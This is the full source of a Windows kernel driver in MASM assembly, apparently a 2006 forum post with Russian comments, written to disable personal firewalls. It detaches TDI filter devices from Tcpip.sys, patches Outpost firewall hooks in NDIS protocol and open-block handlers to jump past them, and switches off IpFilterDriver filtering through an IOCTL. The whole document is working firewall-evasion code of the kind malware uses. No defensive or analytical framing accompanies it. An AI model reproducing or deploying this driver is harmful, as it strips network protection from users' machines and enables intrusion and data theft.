Код:
.386
.model flat, stdcall
option casemap:none
include ddk\ntddk.inc
include ddk\ntoskrnl.inc
include Strings.inc
NDIS40 equ 1
include ddk\ndis.inc
include ddk\ipfirewall.inc
includelib ntoskrnl.lib
includelib ndis.lib
; by MaD [ mad-factor@mail.ru ] 01/08/2006
.code
; ---------------------------------------------------------------------------------------
; Процедуры-заглушки, для регистрации NDIS протокола
BindAdapterStub proc pStatus, BindContext, pDeviceName, pSS1, pSS2
ret
BindAdapterStub endp
UnbindAdapterStub proc pStatus, BindContext, pUnbindContext
ret
UnbindAdapterStub endp
; ---------------------------------------------------------------------------------------
; Процедура, удаляющая перехват Outpost'а на уровне обработчика NDIS
RemoveNdisProcHook proc Handler :PVOID
mov ecx, Handler
jecxz @ret
cmp byte ptr [ecx], 0E8h ; В начале должен стоять call
jnz @ret
mov edx, [ecx+1] ; Смещение call'а
lea edx, [ecx+edx+5] ; EDX указывает на то, куда идет вызов call'а
.if dword ptr [edx] == 03C08358h ; В начале стоит: pop eax / add eax, 3 - это Outpost 4.0
mov edx, [ecx+8]
.elseif dword ptr [edx] == 6030FF58h ; В начале стоит: pop eax / push [eax] / pushad - это Outpost 3.x
mov edx, [ecx+5]
.else
jmp @ret
.endif
; В EDX адрес реального обработчика
mov byte ptr [ecx], 0E9h ; Превратим call в jmp
sub edx, ecx
sub edx, 5
mov [ecx+1], edx ; Теперь вместо передачи управления фаеру, будет jmp сразу на реальный обработчик
@ret:
ret
RemoveNdisProcHook endp
DriverEntry proc uses esi edi ebx pDriverObject :PDRIVER_OBJECT, pusRegistryPath :PUNICODE_STRING
LOCAL NdisProto :NDIS_PROTOCOL_CHARACTERISTICS
LOCAL NdisStatus :NDIS_STATUS
LOCAL NdisProtoHandle :NDIS_HANDLE
LOCAL TcpipDrvObj :PDRIVER_OBJECT
LOCAL IpFilterFileObj :PFILE_OBJECT
LOCAL IpFilterDevObj :PDEVICE_OBJECT
LOCAL InBuff :DWORD
; 1) -> Снимаем перехват на уровне TDI (универсальный способ для обхода всех TDI-фаеров)
invoke ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("\\Driver\\Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, \
IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
test eax, eax
jnz @ret
mov eax, TcpipDrvObj
mov ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject
assume ebx : ptr DEVICE_OBJECT ; EBX -> текущее устройство
; Перечисляем все устройства драйвера Tcpip.sys:
; \Device\Ip, \Device\RawIp, \Device\Tcp, \Device\Udp, \Device\IPMULTICAST
@enum_devices:
and [ebx].AttachedDevice, 0 ; Перехват снят
mov ebx, [ebx].NextDevice
test ebx, ebx
jnz @enum_devices
assume ebx : nothing
invoke ObDereferenceObject, TcpipDrvObj
; 2) -> Удаляем перехват на уровне NDIS (убираем перехват обработчиков протоколов)
lea edi, NdisProto
mov ecx, sizeof NdisProto
xor eax, eax
rep stosb
mov NdisProto.MajorNdisVersion, 4
mov NdisProto.BindAdapterHandler, BindAdapterStub
mov NdisProto.UnbindAdapterHandler, UnbindAdapterStub
; Регистрируем NDIS-протокол для того чтобы получить указатель на связный список протоколов
invoke NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
cmp NdisStatus, NDIS_STATUS_SUCCESS
jnz @ret
mov ebx, NdisProtoHandle ; EBX -> текущий протокол
assume ebx : ptr NDIS_PROTOCOL_BLOCK
mov ebx, [ebx].Next ; Скорее всего указывает на протокол TCPIP_WANARP
invoke NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle
; Перечисляем все зарегистрированные NDIS-протоколы
@enum_protocols:
; Удаляем перехват обработчиков NDIS-протокола
invoke RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
invoke RemoveNdisProcHook, [ebx].SendCompleteHandler
invoke RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
invoke RemoveNdisProcHook, [ebx].RequestCompleteHandler
invoke RemoveNdisProcHook, [ebx].ReceiveHandler
invoke RemoveNdisProcHook, [ebx].StatusHandler
invoke RemoveNdisProcHook, [ebx].ReceivePacketHandler
invoke RemoveNdisProcHook, [ebx].BindAdapterHandler
invoke RemoveNdisProcHook, [ebx].UnbindAdapterHandler
mov esi, [ebx].OpenBlock ; ESI -> текущий открытый блок
test esi, esi
jz @next
assume esi : ptr NDIS_OPEN_BLOCK
; Перечисляем все открытые блоки этого протокола
@enum_open_blocks:
; Удаляем перехват обработчиков открытого блока
invoke RemoveNdisProcHook, [esi].SendHandler
invoke RemoveNdisProcHook, [esi].TransferDataHandler
invoke RemoveNdisProcHook, [esi].SendCompleteHandler
invoke RemoveNdisProcHook, [esi].TransferDataCompleteHandler
invoke RemoveNdisProcHook, [esi].ReceiveHandler
invoke RemoveNdisProcHook, [esi].RequestCompleteHandler
invoke RemoveNdisProcHook, [esi].ReceivePacketHandler
invoke RemoveNdisProcHook, [esi].SendPacketsHandler
invoke RemoveNdisProcHook, [esi].StatusHandler
mov esi, [esi].ProtocolNextOpen
test esi, esi
jnz @enum_open_blocks
assume esi : nothing
@next:
mov ebx, [ebx].Next
test ebx, ebx
jnz @enum_protocols
assume ebx : nothing
; 3) -> Отменяем фильтрацию в IpFilterDriver
invoke IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("\\Device\\Ipfilterdriver"), \
GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj
test eax, eax
jnz @ret
and InBuff, 0
invoke IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
test eax, eax
jz @ret
invoke IoCallDriver, IpFilterDevObj, eax
@ret:
mov eax, STATUS_DEVICE_CONFIGURATION_ERROR
ret
DriverEntry endp
end DriverEntry